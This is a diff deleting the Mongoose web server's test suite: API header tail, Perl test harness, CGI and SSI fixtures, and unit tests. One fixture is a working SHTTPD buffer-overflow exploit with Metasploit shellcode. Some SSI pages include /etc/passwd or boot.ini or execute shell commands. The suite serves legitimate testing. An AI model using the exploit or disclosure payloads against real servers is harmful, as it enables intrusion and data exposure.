// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
// parameter. This function returns only first occurrence.
//
// Return:
// On success, value length.
// On error, -1 (either "Cookie:" header is not present at all, or the
// requested parameter is not found, or destination buffer is too small
// to hold the value).
int mg_get_cookie(const struct mg_connection *,
const char *cookie_name, char *buf, size_t buf_len);
// Connect to the remote web server.
// Return:
// On success, valid pointer to the new connection
// On error, NULL
struct mg_connection *mg_connect(struct mg_context *ctx,
const char *host, int port, int use_ssl);
// Close the connection opened by mg_connect().
void mg_close_connection(struct mg_connection *conn);
// Download given URL to a given file.
// url: URL to download
// path: file name where to save the data
// request_info: pointer to a structure that will hold parsed reply headers
// buf, bul_len: a buffer for the reply headers
// Return:
// On error, NULL
// On success, opened file stream to the downloaded contents. The stream
// is positioned to the end of the file. It is the user's responsibility
// to fclose() the opened file stream.
FILE *mg_fetch(struct mg_context *ctx, const char *url, const char *path,
char *buf, size_t buf_len, struct mg_request_info *request_info);
// Convenience function -- create detached thread.
// Return: 0 on success, non-0 on error.
typedef void * (*mg_thread_func_t)(void *);
int mg_start_thread(mg_thread_func_t f, void *p);
// Return builtin mime type for the given file name.
// For unrecognized extensions, "text/plain" is returned.
const char *mg_get_builtin_mime_type(const char *file_name);
// Return Mongoose version.
const char *mg_version(void);
// MD5 hash given strings.
// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
// ASCIIz strings. When function returns, buf will contain human-readable
// MD5 hash. Example:
// char buf[33];
// mg_md5(buf, "aa", "bb", NULL);
void mg_md5(char buf[33], ...);
// Lua utility functions
#ifdef MONGOOSE_USE_LUA
#include <lua.h>
#include <lauxlib.h>
void reg_string(lua_State *L, const char *name, const char *val);
void reg_int(lua_State *L, const char *name, int val);
void reg_function(lua_State *L, const char *,
lua_CFunction, struct mg_connection *);
#endif
#ifdef __cplusplus
}
-1
View File
@@ -1 +0,0 @@
abc123
-28
View File
@@ -1,28 +0,0 @@
#!/usr/bin/env perl
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
push @combination, $flags[$j] if substr($bitmask, $j, 1);
}
my $defines = join(" ", map { "-D$_" } @combination);
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
system($cmd) == 0 or fail "build failed: $_";
print "Build succeeded, flags: [$defines]\n";
system("perl test/test.pl basic_tests >/dev/null") == 0
or fail "basic tests";
print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
-5
View File
@@ -1,5 +0,0 @@
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Status: 123 Please pass me to the client\r\n\r\n";
-182
View File
@@ -1,182 +0,0 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
(void) ri;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", mg_get_reply_status_code(conn));
mg_printf(conn, "Error: [%d]", mg_get_reply_status_code(conn));
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}
-46
View File
@@ -1,46 +0,0 @@
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;
-69
View File
@@ -1,69 +0,0 @@
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n");
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}
if (@ARGV < 1)
{
&header();
print("Usage: Perl shttpd.pl [host]\n");
exit;
}
&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;
#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING
-1
View File
@@ -1 +0,0 @@
simple text file
-3
View File
@@ -1,3 +0,0 @@
guest:mydomain.com:485264dcc977a1925370b89d516a1477
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
-6
View File
@@ -1,6 +0,0 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo "This is shell script CGI."
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include file="Makefile" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include virtual="embed.c" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "ls -l" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#exec "dir /w" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include file="/etc/passwd" -->
ssi_end
</pre></html>
-5
View File
@@ -1,5 +0,0 @@
<html><pre>
ssi_begin
<!--#include file="c:\boot.ini" -->
ssi_end
</pre></html>
-6
View File
@@ -1,6 +0,0 @@
<html><pre>
ssi_begin
<!--#include "embed.c" -->
ssi_end
</pre></html>
-1
View File
@@ -1 +0,0 @@
<!--#include "ssi9.shtml" -->
-3
View File
@@ -1,3 +0,0 @@
ssi_begin
<!--#include file="Makefile" -->
ssi_end
-531
View File
@@ -1,531 +0,0 @@
#!/usr/bin/env perl
# This script is used to test Mongoose web server
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
use IO::Socket;
use File::Path;
use strict;
use warnings;
#use diagnostics;
sub on_windows { $^O =~ /win32/i; }
my $port = 23456;
my $pid = undef;
my $num_requests;
my $dir_separator = on_windows() ? '\\' : '/';
my $copy_cmd = on_windows() ? 'copy' : 'cp';
my $test_dir_uri = "test_dir";
my $root = 'test';
my $test_dir = $root . $dir_separator. $test_dir_uri;
my $config = 'mongoose.conf';
my $exe = '.' . $dir_separator . 'mongoose';
my $embed_exe = '.' . $dir_separator . 'embed';
my $unit_test_exe = '.' . $dir_separator . 'unit_test';
my $exit_code = 0;
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
"$root/myperl", $embed_exe, $unit_test_exe);
END {
unlink @files_to_delete;
kill_spawned_child();
File::Path::rmtree($test_dir);
exit $exit_code;
}
sub fail {
print "FAILED: @_\n";
$exit_code = 1;
exit 1;
}
sub get_num_of_log_entries {
open FD, "access.log" or return 0;
my @lines = (<FD>);
close FD;
return scalar @lines;
}
# Send the request to the 127.0.0.1:$port and return the reply
sub req {
my ($request, $inc, $timeout) = @_;
my $sock = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>'127.0.0.1', PeerPort=>$port);
fail("Cannot connect: $!") unless $sock;
$sock->autoflush(1);
foreach my $byte (split //, $request) {
last unless print $sock $byte;
select undef, undef, undef, .001 if length($request) < 256;
}
my ($out, $buf) = ('', '');
eval {
alarm $timeout if $timeout;
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
alarm 0 if $timeout;
};
close $sock;
$num_requests += defined($inc) ? $inc : 1;
my $num_logs = get_num_of_log_entries();
unless ($num_requests == $num_logs) {
fail("Request has not been logged: [$request], output: [$out]");
}
return $out;
}
# Send the request. Compare with the expected reply. Fail if no match
sub o {
my ($request, $expected_reply, $message, $num_logs) = @_;
print "==> $message ... ";
my $reply = req($request, $num_logs);
if ($reply =~ /$expected_reply/s) {
print "OK\n";
} else {
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
fail("Expected: [$expected_reply], got: [$reply]");
}
}
# Spawn a server listening on specified port
sub spawn {
my ($cmdline) = @_;
print 'Executing: ', @_, "\n";
if (on_windows()) {
my @args = split /\s+/, $cmdline;
my $executable = $args[0];
$executable .= '.exe';
Win32::Spawn($executable, $cmdline, $pid);
die "Cannot spawn @_: $!" unless $pid;
} else {
unless ($pid = fork()) {
exec $cmdline;
die "cannot exec [$cmdline]: $!\n";
}
}
sleep 1;
}
sub write_file {
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
binmode FD;
print FD $_[1];
close FD;
}
sub read_file {
open FD, $_[0] or fail "Cannot open $_[0]: $!";
my @lines = <FD>;
close FD;
return join '', @lines;
}
sub kill_spawned_child {
if (defined($pid)) {
kill(9, $pid);
waitpid($pid, 0);
}
}
####################################################### ENTRY POINT
unlink @files_to_delete;
$SIG{PIPE} = 'IGNORE';
$SIG{ALRM} = sub { die "timeout\n" };
#local $| =1;
# Make sure we export only symbols that start with "mg_", and keep local
# symbols static.
if ($^O =~ /darwin|bsd|linux/) {
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
foreach (split /\n/, $out) {
/T\s+_?mg_.+/ or fail("Exported symbol $_")
}
}
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
do_embedded_test();
exit 0;
}
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
do_unit_test();
exit 0;
}
# Make sure we load config file if no options are given.
# Command line options override config files settings
write_file($config, "access_log_file access.log\nlistening_ports 12345\n");
spawn("$exe -p $port");
o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
unlink $config;
kill_spawned_child();
# Spawn the server on port $port
my $cmd = "$exe ".
"-listening_ports $port ".
"-access_log_file access.log ".
"-error_log_file debug.log ".
"-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
'-put_delete_passwords_file test/passfile ' .
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
"-document_root $root ".
"-hide_files_patterns **exploit.pl ".
"-enable_keep_alive yes ".
"-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
$cmd .= ' -cgi_interpreter perl' if on_windows();
spawn($cmd);
o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n",
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
'Request pipelining', 2);
my $x = 'x=' . 'A' x (200 * 1024);
my $len = length($x);
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
'^HTTP/1.1 200 OK', 'Long POST');
# Try to overflow: Send very long request
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
'HTTP/1.1 200 OK', 'Negative content length');
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
'GET regular file Content-Length');
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
'HTTP/1.1 200 OK', 'URL-decoding');
# Break CGI reading after 1 second. We must get full output.
# Since CGI script does sleep, we sleep as well and increase request count
# manually.
my $slow_cgi_reply;
print "==> Slow CGI output ... ";
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
print "OK\n";
sleep 3;
$num_requests++;
# '+' in URI must not be URL-decoded to space
write_file("$root/a+.txt", '');
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
# Test HTTP version parsing
o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
'HTTP Version >1.1');
# File with leading single dot
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
if on_windows();
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
mkdir $test_dir unless -d $test_dir;
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
'HTTP/1.1 404', 'PATH_INFO loop problem');
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'Modified', 'Directory listing');
write_file("$test_dir/index.html", "tralala");
o("GET /$test_dir_uri/ HTTP/1.0\n\n", 'tralala', 'Index substitution');
o("GET / HTTP/1.0\n\n", 'embed.c', 'Directory listing - file name');
o("GET /ta/ HTTP/1.0\n\n", 'Modified', 'Aliases');
o("GET /not-exist HTTP/1.0\r\n\n", 'HTTP/1.1 404', 'Not existent file');
mkdir $test_dir . $dir_separator . 'x';
my $path = $test_dir . $dir_separator . 'x' . $dir_separator . 'index.cgi';
write_file($path, read_file($root . $dir_separator . 'env.cgi'));
chmod(0755, $path);
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n", "Content-Type: text/html\r\n\r\n",
'index.cgi execution');
o("GET /$test_dir_uri/x/ HTTP/1.0\n\n",
"SCRIPT_FILENAME=test/test_dir/x/index.cgi", 'SCRIPT_FILENAME');
o("GET /ta/x/ HTTP/1.0\n\n", "SCRIPT_NAME=/ta/x/index.cgi",
'Aliases SCRIPT_NAME');
o("GET /hello.txt HTTP/1.1\nConnection: close\n\n", 'Connection: close',
'No keep-alive');
$path = $test_dir . $dir_separator . 'x' . $dir_separator . 'a.cgi';
system("ln -s `which perl` $root/myperl") == 0 or fail("Can't symlink perl");
write_file($path, "#!../../myperl\n" .
"print \"Content-Type: text/plain\\n\\nhi\";");
chmod(0755, $path);
o("GET /$test_dir_uri/x/a.cgi HTTP/1.0\n\n", "hi", 'Relative CGI interp path');
o("GET * HTTP/1.0\n\n", "^HTTP/1.1 404", '* URI');
my $mime_types = {
html => 'text/html',
htm => 'text/html',
txt => 'text/plain',
unknown_extension => 'text/plain',
js => 'application/x-javascript',
css => 'text/css',
jpg => 'image/jpeg',
c => 'text/plain',
'tar.gz' => 'blah',
bar => 'foo/bar',
baz => 'foo',
};
foreach my $key (keys %$mime_types) {
my $filename = "_mime_file_test.$key";
write_file("$root/$filename", '');
o("GET /$filename HTTP/1.0\n\n",
"Content-Type: $mime_types->{$key}", ".$key mime type");
unlink "$root/$filename";
}
# Get binary file and check the integrity
my $binary_file = 'binary_file';
my $f2 = '';
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
write_file("$root/$binary_file", $f2);
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
"Range: bytes=3-5\r\n\r\n";
o($range_request, '206 Partial Content', 'Range: 206 status code');
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
o($range_request, '\nple$', 'Range: body content');
# Test directory sorting. Sleep between file creation for 1.1 seconds,
# to make sure modification time are different.
mkdir "$test_dir/sort";
write_file("$test_dir/sort/11", 'xx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/aa", 'xxxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/bb", 'xxx');
select undef, undef, undef, 1.1;
write_file("$test_dir/sort/22", 'x');
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
'Directory listing (name, ascending)');
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
'Directory listing (name, descending)');
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
'Directory listing (size, ascending)');
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
'Directory listing (size, descending)');
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
'Directory listing (modification time, ascending)');
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
'Directory listing (modification time, descending)');
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
# Check that .htpasswd file existence trigger authorization
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on file request');
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
'.htpasswd - triggering auth on directory request');
# Test various funky things in an authentication header.
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
'401 Unauthorized', 'weird auth values should not cause crashes');
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
'.htpasswd is hidden from the directory list');
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
'hidden file is hidden from the directory list');
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
'^HTTP/1.1 404', 'hidden files must not be shown');
unlink "$root/.htpasswd";
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
'CGI Status code text');
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
'GET sh CGI file') unless on_windows();
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
'QUERY_STRING wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'var=HELLO', 'CGI POST wrong');
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
'HTTP_MY_HDR=abc', 'HTTP_* env');
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
# Check that CGI's current directory is set to script's directory
my $copy_cmd = on_windows() ? 'copy' : 'cp';
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
$dir_separator . 'env.cgi');
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
# SSI tests
o("GET /ssi1.shtml HTTP/1.0\n\n",
'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
o("GET /ssi2.shtml HTTP/1.0\n\n",
'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
o("GET /$ssi_exec HTTP/1.0\n\n",
'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
my $word = on_windows() ? 'boot loader' : 'root';
o("GET /$abs_path HTTP/1.0\n\n",
"ssi_begin.+$word.+ssi_end", 'SSI #include file= (absolute)');
o("GET /ssi7.shtml HTTP/1.0\n\n",
'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
o("GET /ssi8.shtml HTTP/1.0\n\n",
'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
# Manipulate the passwords file
my $path = 'test_htpasswd';
unlink $path;
system("$exe -A $path a b c") == 0
or fail("Cannot add user in a passwd file");
system("$exe -A $path a b c2") == 0
or fail("Cannot edit user in a passwd file");
my $content = read_file($path);
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
unlink $path;
do_PUT_test();
kill_spawned_child();
do_unit_test();
do_embedded_test();
}
sub do_PUT_test {
# This only works because mongoose currently doesn't look at the nonce.
# It should really be rejected...
my $auth_header = "Authorization: Digest username=guest, ".
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
"response=896327350763836180c61d87578037d9, qop=auth, ".
